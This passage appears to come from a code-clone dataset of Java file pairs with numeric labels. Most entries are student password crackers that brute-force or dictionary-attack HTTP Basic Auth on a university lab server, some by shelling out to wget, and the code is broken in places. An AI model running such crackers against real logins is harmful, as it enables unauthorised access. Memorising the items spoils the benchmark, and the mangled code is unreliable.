System.out.println("process time is : " +(endtime-stime)/1000 +" seconds.");
}catch (MalformedURLException e) {
pw.println ("Invalid URL");
}catch (IOException e) {
pw.println ("Error URL");
}
}
System.out.println("ETag is "+ ServerType);
System.out.println("LastModified is "+ LastModified);
}
} |
import java.net.*;
import java.io.*;
import java.util.*;
public class Dictionary {
public static void main(String args[])
{
int i,j,k;
String pass = new String();
String UserPass = new String();
String status = new String();
String status1 = new String();
BasicAuth auth = new BasicAuth();
URLConnection connect;
int start,end,diff;
try {
URL url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/");
start =System.currentTimeMillis();
BufferedReader dis = new BufferedReader(new FileReader("words"));
while ((pass = dis.readLine()) != null)
{
UserPass= auth.encode("",pass);
connect = url.openConnection();
connect.setDoInput(true);
connect.setDoOutput(true);
connect.setRequestProperty("Host","sec-crack.cs.rmit.edu.");
connect.setRequestProperty("Get","/SEC/2/ HTTP/1.1");
connect.setRequestProperty("Authorization"," " + UserPass);
connect.connect();
status =connect.getHeaderField(0);
status1 = status.substring( 9,12);
if (status.equalsIgnoreCase("HTTP/1.1 200 OK"))
{
System.out.println("Password is " + pass);
end=System.currentTimeMillis();
diff = end - start;
System.out.println("Time Taken = " + (diff/1000) + " secs");
System.exit(0);
}
((HttpURLConnection)connect).disconnect();
connect = null;
}
System.out.println(" match found");
dis.close();
dis=null;
connect = null;
}
catch (MalformedURLException malerr)
{
System.err.println("Unable Open URL" + malerr);
}
catch (Exception ioerr)
{
System.err.println("Unable open file" + ioerr);
}
}
} |
108.java | 161.java | 0 |
import java.io.InputStream;
import java.util.Properties;
import javax.naming.Context;
import javax.naming.InitialContext;
import javax.rmi.PortableRemoteObject;
import javax.sql.DataSource;
public class DictionaryPropertyHelper {
private static Properties dictProps;
public DictionaryPropertyHelper() {
}
public static String getProperty(String pKey){
try{
initProps();
}
catch(Exception e){
System.err.println("Error init'ing the dictionary Props");
e.printStackTrace();
}
return dictProps.getProperty(pKey);
}
private static void initProps() throws Exception{
if(dictProps == null){
dictProps = new Properties();
InputStream fis =
DictionaryPropertyHelper.class.getResourceAsStream("/dictionary.properties");
dictProps.load(fis);
}
}
}
|
import java.net.*;
import java.io.*;
import java.util.*;
public class Dictionary {
public static void main(String args[])
{
int i,j,k;
String pass = new String();
String UserPass = new String();
String status = new String();
String status1 = new String();
BasicAuth auth = new BasicAuth();
URLConnection connect;
int start,end,diff;
try {
URL url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/");
start =System.currentTimeMillis();
BufferedReader dis = new BufferedReader(new FileReader("words"));
while ((pass = dis.readLine()) != null)
{
UserPass= auth.encode("",pass);
connect = url.openConnection();
connect.setDoInput(true);
connect.setDoOutput(true);
connect.setRequestProperty("Host","sec-crack.cs.rmit.edu.");
connect.setRequestProperty("Get","/SEC/2/ HTTP/1.1");
connect.setRequestProperty("Authorization"," " + UserPass);
connect.connect();
status =connect.getHeaderField(0);
status1 = status.substring( 9,12);
if (status.equalsIgnoreCase("HTTP/1.1 200 OK"))
{
System.out.println("Password is " + pass);
end=System.currentTimeMillis();
diff = end - start;
System.out.println("Time Taken = " + (diff/1000) + " secs");
System.exit(0);
}
((HttpURLConnection)connect).disconnect();
connect = null;
}
System.out.println(" match found");
dis.close();
dis=null;
connect = null;
}
catch (MalformedURLException malerr)
{
System.err.println("Unable Open URL" + malerr);
}
catch (Exception ioerr)
{
System.err.println("Unable open file" + ioerr);
}
}
} |
172.java | 161.java | 0 |
import java.*;
import java.io.*;
public class BruteForce
{
public static void main(String[] args)
{
int i,j,k,counter=0;
String pass,temp1;
char oneTemp[] = {'a'};
char twoTemp[] = {'a','a'};
char threeTemp[] = {'a','a','a'};
String function= new String();
Runtime rtime = Runtime.getRuntime();
Process prs= null;
for(i=65;i<123;i++)
{
if( i > 90 && i < 97)
i = 97;
oneTemp[0] = (char)i ;
pass = new String(oneTemp);
System.out.println(pass + " " + "Attack Number=====>" + counter++ );
function ="wget --http-user= --http-passwd="+pass+" http://sec-crack.cs.rmit.edu./SEC/2/index.php";
try
{
prs = rtime.exec(function);
InputStreamReader stre = new InputStreamReader(prs.getErrorStream());
BufferedReader bread = new BufferedReader(stre);
while((temp1 = bread.readLine()) != null)
{
if(temp1.equals("HTTP request sent, awaiting response... 200 OK"))
{
System.out.println("The password has is:"+pass);
System.exit(0);
}
}
}catch(java.io.IOException e){}
}
for(i=65;i<123;i++)
{
if( i > 90 && i < 97)
i = 97;
for(j =65;j<123;j++)
{
if( j > 90 && j < 97)
j = 97;
twoTemp[0] = (char)i ;
twoTemp[1] = (char)j ;
pass = new String(twoTemp);
System.out.println(pass + " " + "Attack Number=====>" + counter++ );
function ="wget --http-user= --http-passwd="+pass+" http://sec-crack.cs.rmit.edu./SEC/2/index.php";
try
{
prs = rtime.exec(function);
InputStreamReader stre = new InputStreamReader(prs.getErrorStream());
BufferedReader bread = new BufferedReader(stre);
while((temp1 = bread.readLine()) != null)
{
if(temp1.equals("HTTP request sent, awaiting response... 200 OK"))
{
System.out.println("The password has is:"+pass);
System.exit(0);
}
}
}catch(java.io.IOException e){}
}
}
for(i=65;i<123;i++)
{
if( i > 90 && i < 97)
i = 97;
for(j =65;j<123;j++)
{
if( j > 90 && j < 97)
j = 97;
for(k = 65;k<123;k++)
{
if( k > 90 && k < 97)
{ k = 97;}
threeTemp[0] = (char)i ;
threeTemp[1] = (char)j ;
threeTemp[2] = (char)k ;
pass = new String(threeTemp);
System.out.println(pass + " " + "Attack Number=====>" + counter++ );
function ="wget --http-user= --http-passwd="+pass+" http://sec-crack.cs.rmit.edu./SEC/2/index.php";
try
{
prs = rtime.exec(function);
InputStreamReader stre = new InputStreamReader(prs.getErrorStream());
BufferedReader bread = new BufferedReader(stre);
while((temp1 = bread.readLine()) != null)
{
if(temp1.equals("HTTP request sent, awaiting response... 200 OK"))
{
System.out.println("The password has is:"+pass);
System.exit(0);
}
}
}catch(java.io.IOException e){}
}
}
}
}
}
|
import java.net.*;
import java.io.*;
import java.util.*;
public class Dictionary {
public static void main(String args[])
{
int i,j,k;
String pass = new String();
String UserPass = new String();
String status = new String();
String status1 = new String();
BasicAuth auth = new BasicAuth();
URLConnection connect;
int start,end,diff;
try {
URL url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/");
start =System.currentTimeMillis();
BufferedReader dis = new BufferedReader(new FileReader("words"));
while ((pass = dis.readLine()) != null)
{
UserPass= auth.encode("",pass);
connect = url.openConnection();
connect.setDoInput(true);
connect.setDoOutput(true);
connect.setRequestProperty("Host","sec-crack.cs.rmit.edu.");
connect.setRequestProperty("Get","/SEC/2/ HTTP/1.1");
connect.setRequestProperty("Authorization"," " + UserPass);
connect.connect();
status =connect.getHeaderField(0);
status1 = status.substring( 9,12);
if (status.equalsIgnoreCase("HTTP/1.1 200 OK"))
{
System.out.println("Password is " + pass);
end=System.currentTimeMillis();
diff = end - start;
System.out.println("Time Taken = " + (diff/1000) + " secs");
System.exit(0);
}
((HttpURLConnection)connect).disconnect();
connect = null;
}
System.out.println(" match found");
dis.close();
dis=null;
connect = null;
}
catch (MalformedURLException malerr)
{
System.err.println("Unable Open URL" + malerr);
}
catch (Exception ioerr)
{
System.err.println("Unable open file" + ioerr);
}
}
} |
248.java | 161.java | 0 | import java.io.*;
import java.net.*;
public class Dictionary
{
private String urlString = "http://sec-crack.cs.rmit.edu./SEC/2/index.php";
private static String password;
private static int length;
private static int t_counter;
private static int f_counter;
private static int respCode;
private static BufferedReader buf;
public Dictionary()
{
FileReader fRead;
Authenticator.setDefault(new DictionaryAuthenticator());
t_counter = 0;
f_counter = 0;
length = 0;
try
{
fRead = new FileReader("/usr/share/lib/dict/words");
buf = new BufferedReader(fRead);
}
catch (FileNotFoundException e)
{
System.out.println("File not found");
}
}
public static void main(String[] args)
{
Dictionary dict = new Dictionary();
String file = " ";
while(respCode != 200 )
{
file = dict.fetchURL();
}
System.out.println("Number of attempts: " + t_counter);
System.out.println("Password: " + password);
System.out.println(file);
}
private String fetchURL()
{
StringWriter sw = new StringWriter();
PrintWriter pw = new PrintWriter();
try
{
URL url = new URL(urlString);
HttpURLConnection huc = (HttpURLConnection)url.openConnection();
respCode = huc.getResponseCode();
InputStream content = huc.getInputStream();
BufferedReader in =
new BufferedReader (new InputStreamReader (content));
String line;
while ((line = in.readLine()) != null)
{
pw.println(line);
}
} catch (IOException e) {
pw.println("Error URL");
}
return sw.toString();
}
class DictionaryAuthenticator extends Authenticator
{
private String username = "";
protected PasswordAuthentication getPasswordAuthentication()
{
return new PasswordAuthentication(username,generatePassword());
}
protected char[] generatePassword()
{
String word = null;
int chars;
char c[] = null;
chars = 0;
if(f_counter == 0)
{
try
{
{
word = buf.readLine();
if(word != null)
{
length = word.length();
chars = 0;
for(int i=0; i<length; i++)
{
if(Character.isLetter(word.charAt(i))) chars++;
}
}
}
while( word != null && (length > 3 || chars != length));
}
catch (IOException ioe)
{
System.out.println("IO Error: " + ioe);
}
if(word != null)
{
c = word.toCharArray();
password = new String(c);
}
else
{
System.out.println(" more words in dictionary");
System.exit(0);
}
f_counter++;
}
else
{
c = password.toCharArray();
for(int i=0; i< length; i++)
{
if(Character.isLowerCase(c[i]))
{
c[i] = Character.toUpperCase(c[i]);
}
else
{
c[i] = Character.toLowerCase(c[i]);
}
}
password = new String(c);
f_counter = 0;
}
t_counter++;
return c;
}
}
}
|
import java.net.*;
import java.io.*;
import java.util.*;
public class Dictionary {
public static void main(String args[])
{
int i,j,k;
String pass = new String();
String UserPass = new String();
String status = new String();
String status1 = new String();
BasicAuth auth = new BasicAuth();
URLConnection connect;
int start,end,diff;
try {
URL url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/");
start =System.currentTimeMillis();
BufferedReader dis = new BufferedReader(new FileReader("words"));
while ((pass = dis.readLine()) != null)
{
UserPass= auth.encode("",pass);
connect = url.openConnection();
connect.setDoInput(true);
connect.setDoOutput(true);
connect.setRequestProperty("Host","sec-crack.cs.rmit.edu.");
connect.setRequestProperty("Get","/SEC/2/ HTTP/1.1");
connect.setRequestProperty("Authorization"," " + UserPass);
connect.connect();
status =connect.getHeaderField(0);
status1 = status.substring( 9,12);
if (status.equalsIgnoreCase("HTTP/1.1 200 OK"))
{
System.out.println("Password is " + pass);
end=System.currentTimeMillis();
diff = end - start;
System.out.println("Time Taken = " + (diff/1000) + " secs");
System.exit(0);
}
((HttpURLConnection)connect).disconnect();
connect = null;
}
System.out.println(" match found");
dis.close();
dis=null;
connect = null;
}
catch (MalformedURLException malerr)
{
System.err.println("Unable Open URL" + malerr);
}
catch (Exception ioerr)
{
System.err.println("Unable open file" + ioerr);
}
}
} |
227.java | 161.java | 0 | import java.io.*;
import java.net.*;
import java.net.HttpURLConnection;
import javax.net.*;
import java.security.cert.*;
public class Dictionary
{
public static void main(String[] args)
{
BufferedReader in = null;
boolean found = true;
String word = null;
String cmd = null;
Runtime run = Runtime.getRuntime();
Process pro = null;
BufferedReader inLine = null;
String str = null;
URLConnection connection = null;
try
{
FileReader reader = new FileReader("words");
in = new BufferedReader(reader);
System.out.println(" cracking....");
{
found = true;
word = new String(in.readLine());
cmd = "wget --http-user= --http-passwd="+word +" http://sec-crack.cs.rmit.edu./SEC/2/index.php";
pro = run.exec(cmd);
inLine = new BufferedReader(new InputStreamReader(pro.getErrorStream()));
if((str=inLine.readLine())!=null)
{
while ((str=inLine.readLine())!=null)
{
if (str.endsWith("Required"))
{
found = false;
}
}
}
run.gc();
}
while (!found);
}
catch (FileNotFoundException exc)
{
System.out.println(exc);
}
catch (IOException exc)
{
System.out.println(exc);
}
catch (NullPointerException ex)
{
System.out.println(word);
}
finally
{
try
{
if (in!= null)
{
in.print();
}
}
catch (IOException e) {}
}
if (found == true)
System.out.println("The password is :" + word);
else
System.out.println("NOT FOUND!");
}
} |
import java.net.*;
import java.io.*;
import java.util.*;
public class Dictionary {
public static void main(String args[])
{
int i,j,k;
String pass = new String();
String UserPass = new String();
String status = new String();
String status1 = new String();
BasicAuth auth = new BasicAuth();
URLConnection connect;
int start,end,diff;
try {
URL url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/");
start =System.currentTimeMillis();
BufferedReader dis = new BufferedReader(new FileReader("words"));
while ((pass = dis.readLine()) != null)
{
UserPass= auth.encode("",pass);
connect = url.openConnection();
connect.setDoInput(true);
connect.setDoOutput(true);
connect.setRequestProperty("Host","sec-crack.cs.rmit.edu.");
connect.setRequestProperty("Get","/SEC/2/ HTTP/1.1");
connect.setRequestProperty("Authorization"," " + UserPass);
connect.connect();
status =connect.getHeaderField(0);
status1 = status.substring( 9,12);
if (status.equalsIgnoreCase("HTTP/1.1 200 OK"))
{
System.out.println("Password is " + pass);
end=System.currentTimeMillis();
diff = end - start;
System.out.println("Time Taken = " + (diff/1000) + " secs");
System.exit(0);
}
((HttpURLConnection)connect).disconnect();
connect = null;
}
System.out.println(" match found");
dis.close();
dis=null;
connect = null;
}
catch (MalformedURLException malerr)
{
System.err.println("Unable Open URL" + malerr);
}
catch (Exception ioerr)
{
System.err.println("Unable open file" + ioerr);
}
}
} |
204.java | 161.java | 0 |
import java.io.*;
import java.net.*;
public class Copier
{
private URL target;
public Copier( String fileName)
{
try
{
String line;
BufferedReader ;
BufferedWriter bout;
target = new URL( "http://www.cs.rmit.edu./students");
InputStream hm = target.openStream();
HttpURLConnection urlcon = ( HttpURLConnection) target.openConnection();
bf = new BufferedReader( new InputStreamReader( target.openStream()));
bout = new BufferedWriter(new FileWriter(fileName));
while((line = bf.readLine()) != null)
{
bout.write( line+"\n");
}
bout.print();
}
catch( Exception e)
{
System.out.println("Something wrong! "+e);
System.exit(0);
}
}
public static void main (String[] args)
{
Copier c = new Copier("response.html");
}
}
|
import java.net.*;
import java.io.*;
import java.util.*;
public class Dictionary {
public static void main(String args[])
{
int i,j,k;
String pass = new String();
String UserPass = new String();
String status = new String();
String status1 = new String();
BasicAuth auth = new BasicAuth();
URLConnection connect;
int start,end,diff;
try {
URL url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/");
start =System.currentTimeMillis();
BufferedReader dis = new BufferedReader(new FileReader("words"));
while ((pass = dis.readLine()) != null)
{
UserPass= auth.encode("",pass);
connect = url.openConnection();
connect.setDoInput(true);
connect.setDoOutput(true);
connect.setRequestProperty("Host","sec-crack.cs.rmit.edu.");
connect.setRequestProperty("Get","/SEC/2/ HTTP/1.1");
connect.setRequestProperty("Authorization"," " + UserPass);
connect.connect();
status =connect.getHeaderField(0);
status1 = status.substring( 9,12);
if (status.equalsIgnoreCase("HTTP/1.1 200 OK"))
{
System.out.println("Password is " + pass);
end=System.currentTimeMillis();
diff = end - start;
System.out.println("Time Taken = " + (diff/1000) + " secs");
System.exit(0);
}
((HttpURLConnection)connect).disconnect();
connect = null;
}
System.out.println(" match found");
dis.close();
dis=null;
connect = null;
}
catch (MalformedURLException malerr)
{
System.err.println("Unable Open URL" + malerr);
}
catch (Exception ioerr)
{
System.err.println("Unable open file" + ioerr);
}
}
} |
141.java | 161.java | 0 |
import java.net.*;
import java.io.*;
import java.util.*;
public class WatchDog
{
public WatchDog()
{
}
public static void main(String[] args)
{
try
{
if( args.length != 2 )
{
System.out.println("USAGE: java WatchDog <URL> <mailing UserName>");
System.exit(0);
}
Runtime.getRuntime().exec("rm LastWatch.html");
Runtime.getRuntime().exec("rm WatchDog.ini");
Thread.sleep(1000);
while (true)
{
WatchDog myWatchDog = new WatchDog();
myWatchDog.readHTML(args[0], args[1]);
Runtime.getRuntime().exec("rm Report.txt");
Runtime.getRuntime().exec("rm diffReport.txt");
Runtime.getRuntime().exec("rm NewWatch.txt");
System.out.println(" check after 2 ... press Ctrl-Z suspend WatchDog...");
Thread.sleep(2*60*1000);
}
}
catch (Exception e)
{
e.printStackTrace();
}
}
void readHTML (String strHTML, String userName)
{
Properties myProp = loadLastMD5 ();
try
{
System.out.println("Running WatchDog \"" + strHTML + "\" ...... Please Wait....");
URL url = new URL (strHTML);
String strHost = url.getHost().toLowerCase();
Runtime r = Runtime.getRuntime();
InputStream in = url.openStream();
DataInputStream bf = new DataInputStream (in);
FileOutputStream fOut = new FileOutputStream ("Watch.html");
DataOutputStream dOut = new DataOutputStream (fOut);
Vector vtrImages = new Vector ();
while ( bf!= null)
{
String str = bf.readLine();
if (str == null)
break;
if ( str.toLowerCase().indexOf("img") > 0 )
{
int indexImg = str.toLowerCase().indexOf("img");
int indexImgUrl = str.toLowerCase().indexOf("\"", indexImg);
int indexImgUrlEnd = str.toLowerCase().indexOf("\"", indexImgUrl+1);
String strImage = str.toLowerCase().substring(indexImgUrl+1, indexImgUrlEnd);
if (strImage.toLowerCase().indexOf(strHost) > 0)
{
int index = strImage.toLowerCase().indexOf(strHost) + strHost.length();
strImage = strImage.toLowerCase().substring(index);
}
if (!vtrImages.contains(strImage.toLowerCase()))
vtrImages.add (strImage.toLowerCase());
}
dOut.writeBytes(str+"\n");
}
dOut.print();
fOut.print();
for (int i=0 ; i < vtrImages.size() ; i ++)
{
r.exec("wget " + strHost + vtrImages.get(i).toString().trim());
}
Thread.sleep(2000);
String [] command = {"//sh", "-c","md5sum *.* > NewWatch.txt"};
Runtime.getRuntime().exec(command);
Thread.sleep(1000);
FileInputStream fIn = new FileInputStream ("NewWatch.txt");
DataInputStream = new DataInputStream (fIn);
Properties prop = new Properties ();
while ( bf != null)
{
String str = bf.readLine();
if (str == null)
break;
int index = str.indexOf(" ");
if (fileDownloaded (str.substring(index + 1), vtrImages) || str.substring(index + 1).trim().equalsIgnoreCase("Watch.html") )
prop.setProperty(str.substring(index + 1).trim().toLowerCase(), str.substring(0, index).trim().toLowerCase());
}
fIn.close();
int isAnyChange = GenerateChangeFile (strHTML, myProp, prop);
if (isAnyChange > 0)
{
if (isAnyChange == 2)
{
File f = new File ("LastWatch.html");
if (! f.exists())
{
f.createNewFile();
Thread.sleep(1000);
}
String [] diffCommand = {"//sh", "-c","diff Watch.html LastWatch.html > diffReport.txt"};
Runtime.getRuntime().exec(diffCommand);
Thread.sleep(2000);
FileInputStream feIn = new FileInputStream ("diffReport.txt");
DataInputStream deIn = new DataInputStream (feIn);
FileOutputStream feOut = new FileOutputStream ("Report.txt", true);
DataOutputStream deOut = new DataOutputStream (feOut);
deOut.writeBytes("\n\n\nDifferences in Target :\n\n");
while (deIn != null)
{
String str = deIn.readLine();
if (str == null)
break;
deOut.writeBytes(str + "\n");
}
deOut.print();
feOut.print();
deIn.close();
feIn.close();
}
String [] mailCommand = {"//sh", "-c","less Report.txt | mail " + userName};
Runtime.getRuntime().exec(mailCommand);
System.out.println("Mailing difference");
}
else
System.out.println(" difference detected");
Runtime.getRuntime().exec("mv Watch.html LastWatch.html");
}
catch (Exception e)
{
e.printStackTrace();
}
}
private Properties loadLastMD5 ()
{
Properties myProp = new Properties ();
try
{
myProp.load(new FileInputStream ("WatchDog.ini"));
}
catch (Exception e)
{
}
return myProp;
}
private boolean fileDownloaded (String strFile, Vector vtrImages)
{
for ( int i = 0 ; i < vtrImages.size() ; i ++ )
{
String strImage = vtrImages.get(i).toString().trim();
if ( strImage.toLowerCase().indexOf(strFile.toLowerCase().trim()) > -1 )
return true;
}
return false;
}
private int GenerateChangeFile (String strUrl, Properties myProp, Properties prop)
{
int change = 0;
boolean boolMainChange = false;
try
{
FileOutputStream myOut = new FileOutputStream ("WatchDog.ini");
DataOutputStream myIniOut = new DataOutputStream (myOut);
FileOutputStream fOut = new FileOutputStream ("Report.txt");
DataOutputStream dOut = new DataOutputStream (fOut);
dOut.writeBytes("Report of changes for \"" + strUrl + "\":\n\n\n\n\n");
Enumeration e = prop.keys();
while (e.hasMoreElements())
{
String file = e.nextElement().toString().toLowerCase().trim();
Runtime.getRuntime().exec("rm " + file);
myIniOut.writeBytes(file.toLowerCase() + "=" + prop.getProperty(file) + "\n");
if (myProp.containsKey(file))
{
String OldValue = myProp.getProperty(file);
String newValue = prop.getProperty(file);
if (OldValue != null && newValue != null)
{
if (!OldValue.trim().equals(newValue.trim()))
{
if (file.toLowerCase().trim().equalsIgnoreCase("Watch.html"))
{
dOut.writeBytes("Traget html has been changed\n");
boolMainChange = true;
}
else
dOut.writeBytes("File \"" + file + "\" has been changed\n");
change = 1;
}
}
}
else
{
if (file.toLowerCase().trim().equalsIgnoreCase("Watch.html"))
{
dOut.writeBytes("Target html is checked for first time\n");
boolMainChange = true;
}
else
dOut.writeBytes("File \"" + file + "\" is checked for first time and is new\n");
change = 1;
}
}
dOut.print();
fOut.print();
myIniOut.close();
myOut.close();
}
catch (Exception ex)
{
ex.printStackTrace ();
}
if (boolMainChange)
return 2;
return change;
}
} |
import java.net.*;
import java.io.*;
import java.util.*;
public class Dictionary {
public static void main(String args[])
{
int i,j,k;
String pass = new String();
String UserPass = new String();
String status = new String();
String status1 = new String();
BasicAuth auth = new BasicAuth();
URLConnection connect;
int start,end,diff;
try {
URL url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/");
start =System.currentTimeMillis();
BufferedReader dis = new BufferedReader(new FileReader("words"));
while ((pass = dis.readLine()) != null)
{
UserPass= auth.encode("",pass);
connect = url.openConnection();
connect.setDoInput(true);
connect.setDoOutput(true);
connect.setRequestProperty("Host","sec-crack.cs.rmit.edu.");
connect.setRequestProperty("Get","/SEC/2/ HTTP/1.1");
connect.setRequestProperty("Authorization"," " + UserPass);
connect.connect();
status =connect.getHeaderField(0);
status1 = status.substring( 9,12);
if (status.equalsIgnoreCase("HTTP/1.1 200 OK"))
{
System.out.println("Password is " + pass);
end=System.currentTimeMillis();
diff = end - start;
System.out.println("Time Taken = " + (diff/1000) + " secs");
System.exit(0);
}
((HttpURLConnection)connect).disconnect();
connect = null;
}
System.out.println(" match found");
dis.close();
dis=null;
connect = null;
}
catch (MalformedURLException malerr)
{
System.err.println("Unable Open URL" + malerr);
}
catch (Exception ioerr)
{
System.err.println("Unable open file" + ioerr);
}
}
} |
023.java | 161.java | 0 |
public class HoldSharedData
{
private int numOfConnections = 0;
private int startTime;
private int totalTime = 0;
private String[] password;
private int pwdCount;
public HoldSharedData( int time, String[] pwd, int count )
{
startTime = time;
password = pwd;
pwdCount = count;
}
public int getPwdCount()
{
return pwdCount;
}
public void setNumOfConnections( )
{
numOfConnections ++;
}
public int getNumOfConnections()
{
return numOfConnections;
}
public int getStartTime()
{
return startTime;
}
public void setTotalTime( int newTotalTime )
{
totalTime = newTotalTime;
}
public int getTotalTime()
{
return totalTime;
}
public String getPasswordAt( int index )
{
return password[index];
}
}
|
import java.net.*;
import java.io.*;
import java.util.*;
public class Dictionary {
public static void main(String args[])
{
int i,j,k;
String pass = new String();
String UserPass = new String();
String status = new String();
String status1 = new String();
BasicAuth auth = new BasicAuth();
URLConnection connect;
int start,end,diff;
try {
URL url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/");
start =System.currentTimeMillis();
BufferedReader dis = new BufferedReader(new FileReader("words"));
while ((pass = dis.readLine()) != null)
{
UserPass= auth.encode("",pass);
connect = url.openConnection();
connect.setDoInput(true);
connect.setDoOutput(true);
connect.setRequestProperty("Host","sec-crack.cs.rmit.edu.");
connect.setRequestProperty("Get","/SEC/2/ HTTP/1.1");
connect.setRequestProperty("Authorization"," " + UserPass);
connect.connect();
status =connect.getHeaderField(0);
status1 = status.substring( 9,12);
if (status.equalsIgnoreCase("HTTP/1.1 200 OK"))
{
System.out.println("Password is " + pass);
end=System.currentTimeMillis();
diff = end - start;
System.out.println("Time Taken = " + (diff/1000) + " secs");
System.exit(0);
}
((HttpURLConnection)connect).disconnect();
connect = null;
}
System.out.println(" match found");
dis.close();
dis=null;
connect = null;
}
catch (MalformedURLException malerr)
{
System.err.println("Unable Open URL" + malerr);
}
catch (Exception ioerr)
{
System.err.println("Unable open file" + ioerr);
}
}
} |
013.java | 161.java | 0 | import java.net.*;
import java.io.*;
import java.util.Vector;
import java.util.Date;
import java.security.*;
public class Dictionary {
public static BufferedReader in;
public static void main(String[] args) throws Exception {
String baseURL = "http://sec-crack.cs.rmit.edu./SEC/2/index.php";
int count=0;
Date date = new Date();
startTime=date.getTime();
int LIMITINMINUTES=45;
int TIMELIMIT=LIMITINMINUTES*1000*60;
boolean timedOut=false;
boolean found=false;
Vector dictionary=new Vector(readWords());
System.out.println("Words in dictionary: "+dictionary.size());
while (found==false && timedOut==false && dictionary.elementAt(count)!=null) {
Date endDate = new Date();
endTime=endDate.getTime();
if (endTime>(TIMELIMIT+startTime)){
System.out.println("Timed out");
timedOut=true;
}
String password = "";
URL url = new URL(baseURL);
String username="";
password = dictionary.elementAt(count).toString();
String authString = username+":"+password;
String encoding = new misc.BASE64Encoder().encode(authString.getBytes());
System.out.print("authString is: "+authString);
URLConnection urlConnect=url.openConnection();
urlConnect.setRequestProperty("Authorization"," "+encoding);
String responseCode = urlConnect.getHeaderField(0);
System.out.print(" Response is: ");
System.out.println(responseCode);
if (!responseCode.equals("HTTP/1.1 401 Authorization Required")) {
found=true;
}
if (found){
System.out.println("Password is: "+password);
}
Date foundDate = new Date();
foundTime=foundDate.getTime();
foundTime=(foundTime-startTime);
System.out.println("Time taken was : "+foundTime+" milliseconds");
count=count+1;
}
}
public static Vector readWords() {
String nextWord;
String lastWord="";
Vector dict=new Vector();
try {
BufferedReader in = new BufferedReader(new FileReader("words.txt"));
while ((nextWord = in.readLine())!=null) {
if (nextWord.length()>3) {
nextWord=nextWord.substring(0,3);
}
if (!lastWord.equals(nextWord) && nextWord.length()>0){
lastWord = nextWord;
dict.addElement(nextWord);
}
}
System.out.println("File successfully loaded");
}
catch (FileNotFoundException e1) {
System.out.println("This program requires a dictionary of words called words.txt in the same directory as the program running, now exiting.");
System.exit(0);
}
catch (IOException e2) {
System.out.println("IO Exception, exiting");
System.exit(0);
}
finally {
try {
if (null!=in) {
in.get();
}
}
catch (IOException e3) {}
}
return dict;
}
}
|
import java.net.*;
import java.io.*;
import java.util.*;
public class Dictionary {
public static void main(String args[])
{
int i,j,k;
String pass = new String();
String UserPass = new String();
String status = new String();
String status1 = new String();
BasicAuth auth = new BasicAuth();
URLConnection connect;
int start,end,diff;
try {
URL url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/");
start =System.currentTimeMillis();
BufferedReader dis = new BufferedReader(new FileReader("words"));
while ((pass = dis.readLine()) != null)
{
UserPass= auth.encode("",pass);
connect = url.openConnection();
connect.setDoInput(true);
connect.setDoOutput(true);
connect.setRequestProperty("Host","sec-crack.cs.rmit.edu.");
connect.setRequestProperty("Get","/SEC/2/ HTTP/1.1");
connect.setRequestProperty("Authorization"," " + UserPass);
connect.connect();
status =connect.getHeaderField(0);
status1 = status.substring( 9,12);
if (status.equalsIgnoreCase("HTTP/1.1 200 OK"))
{
System.out.println("Password is " + pass);
end=System.currentTimeMillis();
diff = end - start;
System.out.println("Time Taken = " + (diff/1000) + " secs");
System.exit(0);
}
((HttpURLConnection)connect).disconnect();
connect = null;
}
System.out.println(" match found");
dis.close();
dis=null;
connect = null;
}
catch (MalformedURLException malerr)
{
System.err.println("Unable Open URL" + malerr);
}
catch (Exception ioerr)
{
System.err.println("Unable open file" + ioerr);
}
}
} |
036.java | 161.java | 0 | import java.io.*;
import java.util.*;
import java.text.*;
import java.net.*;
public class LoginAttempt
{
private String urlName = "http://sec-crack.cs.rmit.edu./SEC/2/index.php";
private String userName = "";
private String connectString = "";
public LoginAttempt()
{
}
public LoginAttemptResults tryPasswords(String [] casedPasswords, int passwordsTried)
{
boolean foundPassword = false;
LoginAttemptResults results = new LoginAttemptResults();
for( i = 0; i < casedPasswords.length; i++)
{
passwordsTried++;
try
{
URL targetURL;
HttpURLConnection connection;
targetURL = new URL(urlName);
connection = (HttpURLConnection) targetURL.openConnection();
connectString = userName + ":" + casedPasswords[i].trim();
connectString = new targetURL.misc.BASE64Encoder().encode(connectString.getBytes());
connection.setRequestProperty("Authorization", " " + connectString);
connection.connect();
if(connection.getResponseCode() == 200)
{
foundPassword = true;
System.out.println("Connected for " + casedPasswords[i]);
System.out.println("\nvvvvvvvv File Contents vvvvvvvv\n");
BufferedReader in = new BufferedReader(new InputStreamReader(connection.getInputStream()));
String line;
for(int j = 1; j <= 20; j++)
if((line = in.readLine()) != null)
System.out.println(line);
else
break;
System.out.println("\n^^^^^^^^ File Contents ^^^^^^^^\n");
in.print();
}
}
catch(IOException e)
{
System.out.println("tryPasswords error: " + e + " at password number " + passwordsTried + " (" + casedPasswords[i] + ").");
}
if(foundPassword) break;
}
results.setSuccess(foundPassword);
results.setPasswordsTried(passwordsTried);
return results;
}
}
|
import java.net.*;
import java.io.*;
import java.util.*;
public class Dictionary {
public static void main(String args[])
{
int i,j,k;
String pass = new String();
String UserPass = new String();
String status = new String();
String status1 = new String();
BasicAuth auth = new BasicAuth();
URLConnection connect;
int start,end,diff;
try {
URL url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/");
start =System.currentTimeMillis();
BufferedReader dis = new BufferedReader(new FileReader("words"));
while ((pass = dis.readLine()) != null)
{
UserPass= auth.encode("",pass);
connect = url.openConnection();
connect.setDoInput(true);
connect.setDoOutput(true);
connect.setRequestProperty("Host","sec-crack.cs.rmit.edu.");
connect.setRequestProperty("Get","/SEC/2/ HTTP/1.1");
connect.setRequestProperty("Authorization"," " + UserPass);
connect.connect();
status =connect.getHeaderField(0);
status1 = status.substring( 9,12);
if (status.equalsIgnoreCase("HTTP/1.1 200 OK"))
{
System.out.println("Password is " + pass);
end=System.currentTimeMillis();
diff = end - start;
System.out.println("Time Taken = " + (diff/1000) + " secs");
System.exit(0);
}
((HttpURLConnection)connect).disconnect();
connect = null;
}
System.out.println(" match found");
dis.close();
dis=null;
connect = null;
}
catch (MalformedURLException malerr)
{
